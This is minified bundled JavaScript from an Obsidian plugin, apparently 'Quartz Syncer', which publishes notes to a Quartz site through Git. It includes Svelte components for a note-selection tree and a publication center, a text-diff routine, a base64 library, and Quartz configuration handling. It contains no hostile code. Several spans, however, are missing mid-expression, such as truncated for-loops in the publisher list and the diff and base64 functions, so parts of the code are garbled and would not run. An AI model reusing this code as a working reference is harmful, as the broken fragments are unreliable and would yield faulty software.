c(f,h=!0){let d=f.detail.node,p=a[d.path];for(ZN(d,h);p;)p?.children?.every(y=>!!y.checked)?(p.indeterminate=!1,p.checked=!0):(p?.children?.some(w=>!!w.checked||w.indeterminate)?p.indeterminate=!0:p.indeterminate=!1,p.checked=!1),p=a[p.path];n(0,r)}c({detail:{node:r}},!1);let u=f=>o(f.detail.node.path);return t.$$set=f=>{"tree"in f&&n(0,r=f.tree),"readOnly"in f&&n(1,i=f.readOnly),"enableShowDiff"in f&&n(2,s=f.enableShowDiff),"showDiff"in f&&n(3,o=f.showDiff)},[r,i,s,o,c,u]}var b1=class extends ur{constructor(e){super(),Mi(this,e,R7,M7,Ni,{tree:0,readOnly:1,enableShowDiff:2,showDiff:3})}},dh=b1;function YN(t,e,n){let r=t.slice();return r[29]=e[n],r}function JN(t,e,n){let r=t.slice();return r[32]=e[n],r}function XN(t){let e;return{c(){e=X("hr"),ne(e,"class","quartz-syncer-publisher-title-separator")},m(n,r){pe(n,e,r)},d(n){n&&me(e)}}}function z7(t){let e,n,r,i,s,o=`${t[6].length} of ${t[3].length+t[4].length+t[5].length} notes published`,a,l,c,u,f,h,d,p,g,y,w,b,S,D,k,E,v=t[18].length>0&&$7(t),_=tn(t[3].concat(t[4])),C=[];for(let L=0;L<_.length;L+=1)C[L]=tM(JN(t,_,L));let A=L=>Oe(C[L],1,1,()=>{C[L]=null}),P=tn(t[5]),N=[];for(let L=0;LOe(N[L],1,1,()=>{N[L]=null});return{c(){e=X("div"),n=X("div"),r=X("div"),r.textContent="Publishing Notes",i=we(),s=X("div"),a=et(o),l=we(),v&&v.c(),c=we(),u=X("div"),f=X("div"),d=we();for(let L=0;L0&&v.p(t,G),G[0]&394328){_=tn(t[3].concat(t[4]));let U;for(U=0;U<_.length;U+=1){let he=JN(t,_,U);C[U]?(C[U].p(he,G),xe(C[U],1)):(C[U]=tM(he),C[U].c(),xe(C[U],1),C[U].m(e,p))}for(Nr(),U=_.length;U{p[S]=null}),Mr(),o=p[s],o?o.p(w,b):(o=p[s]=d[s](w),o.c()),xe(o,1),o.m(e,a)),(!h||b[0]&24)&&l!==(l=w[32].file.name+"")&&yt(c,l),b[0]&88&&(f=w[6].includes(w[32].getVaultPath())),f?y||(y=eM(w),y.c(),y.m(e,null)):y&&(y.d(1),y=null)},i(w){h||(xe(o),h=!0)},o(w){Oe(o),h=!1},d(w){w&&me(e),p[s].d(),y&&y.d()}}}function H7(t){let e,n;return e=new oi({props:{name:"clock"}}),{c(){Kt(e.$$.fragment)},m(r,i){zt(e,r,i),n=!0},p:He,i(r){n||(xe(e.$$.fragment,r),n=!0)},o(r){Oe(e.$$.fragment,r),n=!1},d(r){Lt(e,r)}}}function W7(t){let e,n;return e=new oi({props:{name:"check"}}),{c(){Kt(e.$$.fragment)},m(r,i){zt(e,r,i),n=!0},p:He,i(r){n||(xe(e.$$.fragment,r),n=!0)},o(r){Oe(e.$$.fragment,r),n=!1},d(r){Lt(e,r)}}}function G7(t){let e,n=t[17]()?.outerHTML+"",r;return{c(){e=new Ca(!1),r=oo(),e.a=r},m(i,s){e.m(n,i,s),pe(i,r,s)},p:He,i:He,o:He,d(i){i&&(me(r),e.d())}}}function nM(t){let e;return{c(){e=X("span"),e.textContent="- DELETED",ne(e,"class","quartz-syncer-publisher-deleted")},m(n,r){pe(n,e,r)},d(n){n&&me(e)}}}function rM(t){let e,n,r,i,s,o,a=t[29].split("/").last()+"",l,c,u=t[6].includes(t[29]),f,h=[G7,W7,H7],d=[];function p(y,w){return w[0]&1056&&(n=null),w[0]&96&&(r=null),n==null&&(n=!!y[10].includes(y[29])),n?0:(r==null&&(r=!!y[6].includes(y[29])),r?1:2)}i=p(t,[-1,-1]),s=d[i]=h[i](t);let g=u&&nM(t);return{c(){e=X("div"),s.c(),o=we(),l=et(a),c=we(),g&&g.c(),ne(e,"class","quartz-syncer-publisher-note-list")},m(y,w){pe(y,e,w),d[i].m(e,null),H(e,o),H(e,l),H(e,c),g&&g.m(e,null),f=!0},p(y,w){let b=i;i=p(y,w),i===b?d[i].p(y,w):(Nr(),Oe(d[b],1,1,()=>{d[b]=null}),Mr(),s=d[i],s?s.p(y,w):(s=d[i]=h[i](y),s.c()),xe(s,1),s.m(e,o)),(!f||w[0]&32)&&a!==(a=y[29].split("/").last()+"")&&yt(l,a),w[0]&96&&(u=y[6].includes(y[29])),u?g||(g=nM(y),g.c(),g.m(e,null)):g&&(g.d(1),g=null)},i(y){f||(xe(s),f=!0)},o(y){Oe(s),f=!1},d(y){y&&me(e),d[i].d(),g&&g.d()}}}function Q7(t){let e,n,r,i,s,o=t[2]&&XN(t),a=[B7,L7,z7],l=[];function c(u,f){return u[2]?u[7]?2:1:0}return r=c(t,[-1,-1]),i=l[r]=a[r](t),{c(){e=X("div"),o&&o.c(),n=we(),i.c()},m(u,f){pe(u,e,f),o&&o.m(e,null),H(e,n),l[r].m(e,null),s=!0},p(u,f){u[2]?o||(o=XN(u),o.c(),o.m(e,n)):o&&(o.d(1),o=null);let h=r;r=c(u,f),r===h?l[r].p(u,f):(Nr(),Oe(l[h],1,1,()=>{l[h]=null}),Mr(),i=l[r],i?i.p(u,f):(i=l[r]=a[r](u),i.c()),xe(i,1),i.m(e,null))},i(u){s||(xe(i),s=!0)},o(u){Oe(i),s=!1},d(u){u&&me(e),o&&o.d(),l[r].d()}}}function K7(t){return t.endsWith(".base")?"base":t.endsWith(".canvas")?"canvas":t.endsWith(".excalidraw")||t.endsWith(".excalidraw.md")?"excalidraw":t.endsWith(".md")?"markdown":"unknown"}function Z7(t,e,n,r,i){let s=t,o=e.split("/"),a=n.has(e);for(let l=0;lDe.path)??[]),O=new WeakMap;for(let De of U)Z7(Te,De,Xe,O);return Te}function D(U){let he=new mh.ProgressBarComponent(U);return y={setProgress:Te=>{he.setValue(Te)},setIndexText:Te=>{n(9,g=Te)},setText:Te=>{n(8,p=Te)}},{destroy(){}}}function k(U){let he=new mh.ProgressBarComponent(U);return n(23,w={setProgress:Te=>{he.setValue(Te)},setIndexText:()=>{},setText:()=>{}}),{destroy(){}}}let E=()=>{let U=(0,mh.getIcon)("cog");return U?.classList.add("quartz-syncer-rotate","quartz-syncer-cog"),U},v=[],_=[],C=[],A=[],P=[],N=[],B=U=>{let he=[];if(U.children)for(let Te of U.children)he.push(...B(Te));else U.checked&&he.push(U.path);return he},L=async()=>{if(!o||!i)return;if(!h)throw new Error("Publish status is undefined");let U=B(o),he=B(i);n(5,C=B(s));let Te=C.filter(tt=>h.deletedNotePaths.some(Ve=>Ve.path===tt)),Xe=C.filter(tt=>h.deletedBlobPaths.some(Ve=>Ve.path===tt));n(3,v=h.unpublishedNotes.filter(tt=>U.includes(tt.getVaultPath()))??[]),n(4,_=h?.changedNotes.filter(tt=>he.includes(tt.getVaultPath()))??[]);let O=v.concat(_);n(7,d=!0),await fh();let De=c.createConnection(),ve=O.map(tt=>tt.getVaultPath()),I=[...Te,...Xe],Pe=[...ve,...I];n(10,A=[...Pe]),O.length>0&&await c.publishBatch(O,De,async(tt,Ve)=>{n(6,P=ve.slice(0,tt)),n(10,A=[...ve.slice(tt),...I]),await fh()});let Nt=[...ve];n(6,P=[...Nt]),I.length>0&&(n(10,A=[...I]),await c.deleteBatch(I,De,async(tt,Ve)=>{n(6,P=[...Nt,...I.slice(0,tt)]),n(10,A=I.slice(tt)),await fh()})),n(6,P=[...Pe]),n(10,A=[])},G={name:"",isRoot:!1,path:"",indeterminate:!1,checked:!1};return t.$$set=U=>{"publishStatusManager"in U&&n(21,l=U.publishStatusManager),"publisher"in U&&n(22,c=U.publisher),"showDiff"in U&&n(0,u=U.showDiff),"close"in U&&n(1,f=U.close)},t.$$.update=()=>{t.$$.dirty[0]&4&&n(14,r=h&&S(h.publishedNotes.map(U=>U.getVaultPath()),"Unchanged notes"+(h.publishedNotes.length>0?` (${h.publishedNotes.length===1?"1 note":`${h.publishedNotes.length} notes`})`:""))),t.$$.dirty[0]&4&&n(12,i=h&&S(h.changedNotes.map(U=>U.getVaultPath()),"Changed notes"+(h.changedNotes.length>0?` (${h.changedNotes.length===1?"1 note":`${h.changedNotes.length} notes`})`:""))),t.$$.dirty[0]&4&&n(11,s=h&&S([...h.deletedNotePaths,...h.deletedBlobPaths].map(U=>U.path),"Published notes (select to unpublish)"+(h.changedNotes.length+h.publishedNotes.length>0?` (${h.changedNotes.length+h.publishedNotes.length===1?"1 note":`${h.changedNotes.length+h.publishedNotes.length} notes`})`:""))),t.$$.dirty[0]&4&&n(13,o=h&&S(h.unpublishedNotes.map(U=>U.getVaultPath()),"Unpublished notes"+(h.unpublishedNotes.length>0?` (${h.unpublishedNotes.length===1?"1 note":`${h.unpublishedNotes.length} notes`})`:""))),t.$$.dirty[0]&120&&n(24,a=(P.length+N.length)/(v.length+_.length+C.length)*100),t.$$.dirty[0]&25165824&&w?.setProgress(a)},[u,f,h,v,_,C,P,d,p,g,A,s,i,o,r,D,k,E,N,L,G,l,c,w,a]}var v1=class extends ur{constructor(e){super(),Mi(this,e,Y7,Q7,Ni,{publishStatusManager:21,publisher:22,showDiff:0,close:1},null,[-1,-1])}},iM=v1;m();m();m();var ph=class{diff(e,n,r={}){let i;typeof r=="function"?(i=r,r={}):"callback"in r&&(i=r.callback);let s=this.castInput(e,r),o=this.castInput(n,r),a=this.removeEmpty(this.tokenize(s,r)),l=this.removeEmpty(this.tokenize(o,r));return this.diffWithOptionsObj(a,l,r,i)}diffWithOptionsObj(e,n,r,i){var s;let o=b=>{if(b=this.postProcess(b,r),i){setTimeout(function(){i(b)},0);return}else return b},a=n.length,l=e.length,c=1,u=a+l;r.maxEditLength!=null&&(u=Math.min(u,r.maxEditLength));let f=(s=r.timeout)!==null&&s!==void 0?s:1/0,h=Date.now()+f,d=[{oldPos:-1,lastComponent:void 0}],p=this.extractCommon(d[0],n,e,0,r);if(d[0].oldPos+1>=l&&p+1>=a)return o(this.buildValues(d[0].lastComponent,n,e));let g=-1/0,y=1/0,w=()=>{for(let b=Math.max(g,-c);b<=Math.min(y,c);b+=2){let S,D=d[b-1],k=d[b+1];D&&(d[b-1]=void 0);let E=!1;if(k){let _=k.oldPos-b;E=k&&0<=_&&_=l&&p+1>=a)return o(this.buildValues(S.lastComponent,n,e))||!0;d[b]=S,S.oldPos+1>=l&&(y=Math.min(y,b-1)),p+1>=a&&(g=Math.max(g,b+1))}c++};if(i)(function b(){setTimeout(function(){if(c>u||Date.now()>h)return i(void 0);w()||b()},0)})();else for(;c<=u&&Date.now()<=h;){let b=w();if(b)return b}}addToPath(e,n,r,i,s){let o=e.lastComponent;return o&&!s.oneChangePerToken&&o.added===n&&o.removed===r?{oldPos:e.oldPos+i,lastComponent:{count:o.count+1,added:n,removed:r,previousComponent:o.previousComponent}}:{oldPos:e.oldPos+i,lastComponent:{count:1,added:n,removed:r,previousComponent:o}}}extractCommon(e,n,r,i,s){let o=n.length,a=r.length,l=e.oldPos,c=l-i,u=0;for(;c+1h.length?p:h}),u.value=this.join(f)}else u.value=this.join(n.slice(l,l+u.count));l+=u.count,u.added||(c+=u.count)}}return i}};m();var k1=class extends ph{constructor(){super(...arguments),this.tokenize=J7}equals(e,n,r){return r.ignoreWhitespace?((!r.newlineIsToken||!e.includes(` -`))&&(e=e.trim()),(!r.newlineIsToken||!n.includes(` -`))&&(n=n.trim())):r.ignoreNewlineAtEof&&!r.newlineIsToken&&(e.endsWith(` -`)&&(e=e.slice(0,-1)),n.endsWith(` -`)&&(n=n.slice(0,-1))),super.equals(e,n,r)}},sM=new k1;function x1(t,e,n){return sM.diff(t,e,n)}function J7(t,e){e.stripTrailingCr&&(t=t.replace(/\r\n/g,` -`));let n=[],r=t.split(/(\n|\r\n)/);r[r.length-1]||r.pop();for(let i=0;i.line-num.svelte-1o1t5ba,.diff-line.removed.svelte-1o1t5ba>.line-num.svelte-1o1t5ba{background:transparent}.line-indicator.svelte-1o1t5ba.svelte-1o1t5ba{width:20px;min-width:20px;text-align:center;color:var(--text-muted);user-select:none;flex-shrink:0}.diff-line.added.svelte-1o1t5ba .line-indicator.svelte-1o1t5ba{color:var(--color-green);font-weight:bold}.diff-line.removed.svelte-1o1t5ba .line-indicator.svelte-1o1t5ba{color:var(--color-red);font-weight:bold}.line-content.svelte-1o1t5ba.svelte-1o1t5ba{flex:1;padding:0 8px}.diff-footer.svelte-1o1t5ba.svelte-1o1t5ba{padding:8px 12px;background:var(--background-secondary);border-top:1px solid var(--background-modifier-border);font-size:11px;color:var(--text-muted);font-family:var(--font-interface)}`)}function oM(t,e,n){let r=t.slice();return r[24]=e[n],r}function aM(t,e,n){let r=t.slice();return r[19]=e[n],r}function lM(t,e,n){let r=t.slice();return r[19]=e[n],r}function cM(t){let e,n;return{c(){e=X("span"),n=et(t[0]),ne(e,"class","diff-filename svelte-1o1t5ba")},m(r,i){pe(r,e,i),H(e,n)},p(r,i){i&1&&yt(n,r[0])},d(r){r&&me(e)}}}function eQ(t){let e,n,r=tn(t[4]),i=[];for(let s=0;s{y=!1}))}function b(E){p=E;let v=()=>{g&&w(E,g)};return E.addEventListener("scroll",v),{destroy(){E.removeEventListener("scroll",v),p=null}}}function S(E){g=E;let v=()=>{p&&w(E,p)};return E.addEventListener("scroll",v),{destroy(){E.removeEventListener("scroll",v),g=null}}}let D=()=>n(1,d="split"),k=()=>n(1,d="unified");return t.$$set=E=>{"oldContent"in E&&n(8,l=E.oldContent),"newContent"in E&&n(9,c=E.newContent),"fileName"in E&&n(0,u=E.fileName),"defaultViewStyle"in E&&n(10,f=E.defaultViewStyle)},t.$$.update=()=>{t.$$.dirty&768&&n(11,r=x1(l,c)),t.$$.dirty&2048&&n(5,i=oQ(r)),t.$$.dirty&2048&&n(4,s=aQ(r)),t.$$.dirty&2048&&n(3,o=r.filter(E=>E.added).reduce((E,v)=>E+v.count,0)),t.$$.dirty&2048&&n(2,a=r.filter(E=>E.removed).reduce((E,v)=>E+v.count,0))},[u,d,a,o,s,i,b,S,l,c,f,r,D,k]}var S1=class extends ur{constructor(e){super(),Mi(this,e,lQ,sQ,Ni,{oldContent:8,newContent:9,fileName:0,defaultViewStyle:10},X7)}},mM=S1;var Wp=class{modal;settings;publishStatusManager;publisher;siteManager;vault;publicationCenterUi;constructor(e,n,r,i,s){this.modal=new Ia.Modal(e),this.settings=s,this.publishStatusManager=n,this.publisher=r,this.siteManager=i,this.vault=e.vault,this.modal.titleEl.createSpan({text:"Publication center"}).prepend(this.getIcon("leaf")),this.modal.titleEl.addClass("quartz-syncer-modal-title"),this.modal.contentEl.addClass("quartz-syncer-modal-content")}getIcon(e){let n=(0,Ia.getIcon)(e)??activeDocument.createSpan();return n instanceof SVGSVGElement&&n.addClass("quartz-syncer-svg-icon"),n}showDiff=async e=>{try{let n,r,i,s;this.settings.useCache&&(await this.publisher.datastore.loadRemoteFile(e),r=n?n[0]:void 0),(!n||!this.settings.useCache)&&(r=await this.siteManager.getNoteContent(e));let o="";if(this.settings.vaultPath!=="/"&&this.settings.vaultPath!==""?o=this.settings.vaultPath+e:o=e,this.settings.useCache)i=await this.publisher.datastore.loadLocalFile(o),s=i?i[0]:void 0;else if(i=this.vault.getFileByPath(o),!(i instanceof Ia.TFile))s="";else{if(i=await this.publisher.compiler.generateMarkdown(new oa({file:i,vault:this.vault,compiler:this.publisher.compiler,datastore:this.publisher.datastore,metadataCache:this.publisher.metadataCache,settings:this.settings})),!i)throw new Error(`Failed to compile local file: ${o}. Compiler returned null.`);s=i[0]}if(r&&s){let a,l=new Ia.Modal(this.modal.app),c=e.split("/").pop()||"Diff";l.modalEl.addClass("quartz-syncer-diff-modal"),l.titleEl.createSpan({text:`${c}`}).prepend(this.getIcon("file-diff")),l.onOpen=()=>{a=new mM({target:l.contentEl,props:{oldContent:r,newContent:s,fileName:c,defaultViewStyle:this.settings.diffViewStyle}})},l.onClose=()=>{a&&a.$destroy()},l.open()}}catch(n){console.error(n)}};open=()=>{this.modal.onClose=()=>{this.publicationCenterUi.$destroy()},this.modal.onOpen=()=>{this.modal.contentEl.empty(),this.publicationCenterUi=new iM({target:this.modal.contentEl,props:{publishStatusManager:this.publishStatusManager,publisher:this.publisher,showDiff:this.showDiff,close:()=>{this.modal.close()}}})},this.modal.open()}};m();var fr=class{siteManager;publisher;constructor(e,n){this.siteManager=e,this.publisher=n}getDeletedNotePaths(){throw new Error("Method not implemented.")}getDeletedBlobsPaths(){throw new Error("Method not implemented.")}generateDeletedContentPaths(e,n){let r=new Set(n),i=l=>l.endsWith(".js"),s=l=>r.has(l);return Object.keys(e).filter(l=>!i(l)&&!s(l)).map(l=>({path:l,sha:e[l]}))}async getPublishStatus(e){let n=[],r=[],i=[],s=[],o=[];e&&(e.setText("Retrieving publish status..."),e.setProgress(0));let a=await this.siteManager.userSyncerConnection.getContent("HEAD");if(!a)throw new Error("Could not get content tree from base garden");let l=await this.siteManager.getNoteHashes(a),c=await this.siteManager.getBlobHashes(a),u=Object.entries(c);if(this.publisher.settings.useCache){await this.publisher.datastore.preloadCache();let g=u.filter(([D,k])=>k?D.endsWith(".md")||this.publisher.settings.useBases&&D.endsWith(".base")||this.publisher.settings.useCanvas&&D.endsWith(".canvas"):!1),y=g.length,w=y.toString().length,b=0,S=await this.siteManager.getAllNoteContents();await My(g,async([D,k])=>{b++,e&&(e.setProgress(Math.floor(b/y*100)),e.setIndexText(`Syncing remote cache: ${b.toString().padStart(w)}/${y}`),e.setText(`Processing ${D}...`));let E=await this.publisher.datastore.loadRemoteHash(D);if(E&&E===k||!this.publisher.vault.getFileByPath(D))return;let v=S.get(D)??"";if(!v)return;let _=await this.publisher.datastore.getTime(D)??Date.now();await this.publisher.datastore.storeRemoteFile(D,_,[v,{blobs:[]}]),await this.publisher.datastore.storeRemoteHash(D,_,k)},10),e&&(e.setText("Syncing cache to disk..."),e.setProgress(0)),await this.publisher.datastore.flushCache(e)}e&&(e.setText("Loading published notes..."),e.setProgress(100));let f=await this.publisher.getFilesMarkedForPublishing();this.publisher.settings.useCache&&(await this.publisher.datastore.synchronize(f.notes.map(g=>g.getPath())),this.publisher.settings.syncCache&&await this.publisher.plugin.compareDataToCache()),e&&(e.setText("Compiling notes..."),e.setProgress(0));let h=f.notes.length,d=h.toString().length,p=0;try{await My(f.notes,async g=>{p++,e&&(e.setProgress(Math.floor(p/h*100)),e.setIndexText(`Compiling: ${p.toString().padStart(d)}/${h}`),e.setText(`Compiling ${g.getVaultPath()}...`));let y=await g.compile(),[w]=y.getCompiledFile(),b=await nl(w),S=l[g.getVaultPath()];S?S===b?(y.setRemoteHash(S),r.push(y)):(y.setRemoteHash(S),i.push(y)):n.push(y)},10)}finally{e&&(e.setText("Saving compiled cache to disk..."),e.setProgress(0)),await this.publisher.datastore.flushCache(e),this.publisher.datastore.clearMemoryCache()}return s.push(...this.generateDeletedContentPaths(l,f.notes.map(g=>g.getVaultPath()))),o.push(...this.generateDeletedContentPaths(c,f.blobs)),r.sort((g,y)=>g.compare(y)),i.sort((g,y)=>g.compare(y)),s.sort((g,y)=>g.path.localeCompare(y.path)),{unpublishedNotes:n,publishedNotes:r,changedNotes:i,deletedNotePaths:s,deletedBlobPaths:o}}};m();var lo=class{metadataCache;file;vault;fileManager;generatedFrontMatter={};constructor(e,n,r,i){this.metadataCache=n,this.vault=e,this.file=r,this.fileManager=i}set(e,n){return this.generatedFrontMatter[e]=n,this}remove(e){return this.generatedFrontMatter[e]=void 0,this}get(e){return this.getFrontMatterSnapshot()[e]}async apply(){let e=this.getFrontMatterSnapshot();await this.fileManager.processFrontMatter(this.file,n=>{for(let r of Object.keys(e))n[r]=e[r]})}getFrontMatterSnapshot(){let e={...this.metadataCache.getCache(this.file?.path)?.frontmatter};return delete e.position,{...e,...this.generatedFrontMatter}}};m();m();var vM="3.7.7",cQ=vM,Tc=typeof x=="function",pM=typeof TextDecoder=="function"?new TextDecoder:void 0,gM=typeof TextEncoder=="function"?new TextEncoder:void 0,uQ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",gh=Array.prototype.slice.call(uQ),Gp=(t=>{let e={};return t.forEach((n,r)=>e[n]=r),e})(gh),fQ=/^(?:[A-Za-z\d+\/]{4})*?(?:[A-Za-z\d+\/]{2}(?:==)?|[A-Za-z\d+\/]{3}=?)?$/,nn=String.fromCharCode.bind(String),yM=typeof Uint8Array.from=="function"?Uint8Array.from.bind(Uint8Array):t=>new Uint8Array(Array.prototype.slice.call(t,0)),kM=t=>t.replace(/=/g,"").replace(/[+\/]/g,e=>e=="+"?"-":"_"),xM=t=>t.replace(/[^A-Za-z0-9\+\/]/g,""),SM=t=>{let e,n,r,i,s="",o=t.length%3;for(let a=0;a255||(r=t.charCodeAt(a++))>255||(i=t.charCodeAt(a++))>255)throw new TypeError("invalid character found");e=n<<16|r<<8|i,s+=gh[e>>18&63]+gh[e>>12&63]+gh[e>>6&63]+gh[e&63]}return o?s.slice(0,o-3)+"===".substring(o):s},_1=typeof btoa=="function"?t=>btoa(t):Tc?t=>x.from(t,"binary").toString("base64"):SM,D1=Tc?t=>x.from(t).toString("base64"):t=>{let n=[];for(let r=0,i=t.length;re?kM(D1(t)):D1(t),hQ=t=>{if(t.length<2){var e=t.charCodeAt(0);return e<128?t:e<2048?nn(192|e>>>6)+nn(128|e&63):nn(224|e>>>12&15)+nn(128|e>>>6&63)+nn(128|e&63)}else{var e=65536+(t.charCodeAt(0)-55296)*1024+(t.charCodeAt(1)-56320);return nn(240|e>>>18&7)+nn(128|e>>>12&63)+nn(128|e>>>6&63)+nn(128|e&63)}},dQ=/[\uD800-\uDBFF][\uDC00-\uDFFFF]|[^\x00-\x7F]/g,DM=t=>t.replace(dQ,hQ),wM=Tc?t=>x.from(t,"utf8").toString("base64"):gM?t=>D1(gM.encode(t)):t=>_1(DM(t)),Cc=(t,e=!1)=>e?kM(wM(t)):wM(t),bM=t=>Cc(t,!0),mQ=/[\xC0-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF]{2}|[\xF0-\xF7][\x80-\xBF]{3}/g,pQ=t=>{switch(t.length){case 4:var e=(7&t.charCodeAt(0))<<18|(63&t.charCodeAt(1))<<12|(63&t.charCodeAt(2))<<6|63&t.charCodeAt(3),n=e-65536;return nn((n>>>10)+55296)+nn((n&1023)+56320);case 3:return nn((15&t.charCodeAt(0))<<12|(63&t.charCodeAt(1))<<6|63&t.charCodeAt(2));default:return nn((31&t.charCodeAt(0))<<6|63&t.charCodeAt(1))}},EM=t=>t.replace(mQ,pQ),_M=t=>{if(t=t.replace(/\s+/g,""),!fQ.test(t))throw new TypeError("malformed base64.");t+="==".slice(2-(t.length&3));let e,n="",r,i;for(let s=0;s>16&255):i===64?nn(e>>16&255,e>>8&255):nn(e>>16&255,e>>8&255,e&255);return n},C1=typeof atob=="function"?t=>atob(xM(t)):Tc?t=>x.from(t,"base64").toString("binary"):_M,CM=Tc?t=>yM(x.from(t,"base64")):t=>yM(C1(t).split("").map(e=>e.charCodeAt(0))),TM=t=>CM(FM(t)),gQ=Tc?t=>x.from(t,"base64").toString("utf8"):pM?t=>pM.decode(CM(t)):t=>EM(C1(t)),FM=t=>xM(t.replace(/[-_]/g,e=>e=="-"?"+":"/")),E1=t=>gQ(FM(t)),yQ=t=>{if(typeof t!="string")return!1;let e=t.replace(/\s+/g,"").replace(/={0,2}$/,"");return!/[^\s0-9a-zA-Z\+/]/.test(e)||!/[^\s0-9a-zA-Z\-_]/.test(e)},IM=t=>({value:t,enumerable:!1,writable:!0,configurable:!0}),AM=function(){let t=(e,n)=>Object.defineProperty(String.prototype,e,IM(n));t("fromBase64",function(){return E1(this)}),t("toBase64",function(e){return Cc(this,e)}),t("toBase64URI",function(){return Cc(this,!0)}),t("toBase64URL",function(){return Cc(this,!0)}),t("toUint8Array",function(){return TM(this)})},OM=function(){let t=(e,n)=>Object.defineProperty(Uint8Array.prototype,e,IM(n));t("toBase64",function(e){return Qp(this,e)}),t("toBase64URI",function(){return Qp(this,!0)}),t("toBase64URL",function(){return Qp(this,!0)})},wQ=()=>{AM(),OM()},Rr={version:vM,VERSION:cQ,atob:C1,atobPolyfill:_M,btoa:_1,btoaPolyfill:SM,fromBase64:E1,toBase64:Cc,encode:Cc,encodeURI:bM,encodeURL:bM,utob:DM,btou:EM,decode:E1,isValid:yQ,fromUint8Array:Qp,toUint8Array:TM,extendString:AM,extendUint8Array:OM,extendBuiltins:wQ};m();var PM=it(vt()),yh=PM.default.get("quartz-version-detector"),bQ="quartz.config.yaml",vQ="quartz.plugins.json",kQ="quartz.config.ts",xQ="package.json",ai=class t{static async detectQuartzVersion(e){return await t.fileExists(e,bQ)?(yh.info("Detected Quartz v5 (YAML config)"),"v5-yaml"):await t.fileExists(e,vQ)?(yh.info("Detected Quartz v5 (legacy JSON config)"),"v5-json"):await t.fileExists(e,kQ)?(yh.info("Detected Quartz v4 (TypeScript config)"),"v4"):(yh.info("No Quartz configuration detected"),"unknown")}static async getQuartzPackageVersion(e){try{let n=await e.getRawFile(xQ);if(!n)return null;let r=Rr.decode(n.content);return JSON.parse(r).version??null}catch(n){return yh.warn("Could not read package.json version",n),null}}static async fileExists(e,n){try{return await e.getRawFile(n)!==void 0}catch{return!1}}};m();Ek();var XR=it(vt()),_k=XR.default.get("quartz-config-service"),ZR="quartz.config.yaml",YR="quartz.plugins.json",JR="quartz.lock.json",rK="yaml-language-server: $schema=./quartz/plugins/quartz-plugins.schema.json",So=class{repo;yamlDocument=null;configFormat=null;constructor(e){this.repo=e}async readConfig(){let{content:e,format:n}=await this.readRawConfig();return this.configFormat=n,n==="json"?JSON.parse(e):(this.yamlDocument=Wc(e,{keepSourceTokens:!0}),this.yamlDocument.toJSON())}serializeConfig(e){if(this.configFormat==="json")return JSON.stringify(e,null,2)+` -`;if(this.yamlDocument)return this.yamlDocument.set("configuration",e.configuration),this.yamlDocument.set("plugins",e.plugins),e.layout?this.yamlDocument.set("layout",e.layout):this.yamlDocument.delete("layout"),this.ensureSchemaComment(this.yamlDocument),this.yamlDocument.toString();let n=new gr(e);return this.ensureSchemaComment(n),n.toString()}async writeConfig(e,n="Update Quartz configuration via Syncer"){let r=this.serializeConfig(e),i=this.configFormat==="json"?YR:ZR,s=new Map;s.set(i,r),await this.repo.writeRawFiles(s,n)}async readLockFile(){try{let e=await this.repo.getRawFile(JR);if(!e)return null;let n=Rr.decode(e.content);return JSON.parse(n)}catch(e){return _k.debug("Could not read lock file",e),null}}async writeLockFile(e,n="Update plugin lock file via Syncer"){let r=JSON.stringify(e,null,2)+` -`,i=new Map;i.set(JR,r),await this.repo.writeRawFiles(i,n)}getConfigFormat(){return this.configFormat}getRawYamlDocument(){return this.yamlDocument}async readRawConfig(){try{let e=await this.repo.getRawFile(ZR);if(e)return{content:Rr.decode(e.content),format:"yaml"}}catch{_k.debug("No YAML config found, trying JSON fallback")}try{let e=await this.repo.getRawFile(YR);if(e)return{content:Rr.decode(e.content),format:"json"}}catch{_k.debug("No JSON config found either")}throw new Error("No Quartz v5 configuration file found. Expected quartz.config.yaml or quartz.plugins.json.")}ensureSchemaComment(e){e.toString().includes("yaml-language-server")||(e.commentBefore=rK)}};var Sn=class{settings;metadataCache;baseSyncerConnection;userSyncerConnection;quartzVersion=null;configService=null;constructor(e,n,r){this.settings=n,this.metadataCache=e,this.baseSyncerConnection=new rt({gitSettings:{remoteUrl:"https://github.com/jackyzha0/quartz.git",branch:"v4",auth:{type:"none"}},contentFolder:"content",vaultPath:"/"}),this.userSyncerConnection=new rt({gitSettings:r,contentFolder:n.contentFolder,vaultPath:n.vaultPath})}async getNoteContent(e){e.startsWith("/")&&(e=e.substring(1));let n=await this.userSyncerConnection.getFile(`${this.settings.contentFolder}/${e}`);return n?Rr.decode(n.content):""}async getAllNoteContents(){let e=await this.userSyncerConnection.getAllBlobContents(this.settings.contentFolder),n=new Map,r=this.settings.contentFolder;for(let[i,s]of e){let o=i.replace(r,"");o.startsWith("/")&&(o=o.substring(1)),n.set(o,s)}return n}async getNoteHashes(e){let n=e.tree,r=o=>o.endsWith(".md")||this.settings.useBases&&o.endsWith(".base")||this.settings.useCanvas&&o.endsWith(".canvas"),i=n.filter(o=>typeof o.path=="string"&&o.path.startsWith(this.settings.contentFolder)&&o.type==="blob"&&r(o.path)),s={};for(let o of i){let a=o.path.replace(this.settings.contentFolder,""),l=a.startsWith("/")?a.substring(1):a;s[l]=o.oid}return s}async getBlobHashes(e){let r=(e.tree??[]).filter(s=>typeof s.path=="string"&&s.path.startsWith(this.settings.contentFolder)&&s.type==="blob"),i={};for(let s of r){let o=s.path.replace(this.settings.contentFolder,""),a=o.startsWith("/")?o.substring(1):o;i[a]=s.oid}return i}async getQuartzVersion(){return this.quartzVersion||(this.quartzVersion=await ai.detectQuartzVersion(this.userSyncerConnection)),this.quartzVersion}async getConfigService(){let e=await this.getQuartzVersion();return e!=="v5-yaml"&&e!=="v5-json"?null:(this.configService||(this.configService=new So(this.userSyncerConnection)),this.configService)}isQuartzV5(){return this.quartzVersion==="v5-yaml"||this.quartzVersion==="v5-json"}};m();var pz=require("obsidian");m();var Gh=require("obsidian");m();var $t=require("obsidian");m();var jg=require("obsidian"),Ug=class extends jg.AbstractInputSuggest{folders;inputEl;constructor(e,n){super(e,n),this.inputEl=n,this.folders=this.app.vault.getAllFolders(!0).map(r=>(0,jg.normalizePath)(r.path))}getSuggestions(e){let n=e.toLowerCase();return this.folders.filter(r=>r.toLowerCase().includes(n))}renderSuggestion(e,n){n.setText(e)}selectSuggestion(e){this.inputEl.value=e;let n=new Event("input");this.inputEl.dispatchEvent(n),this.close()}};m();var 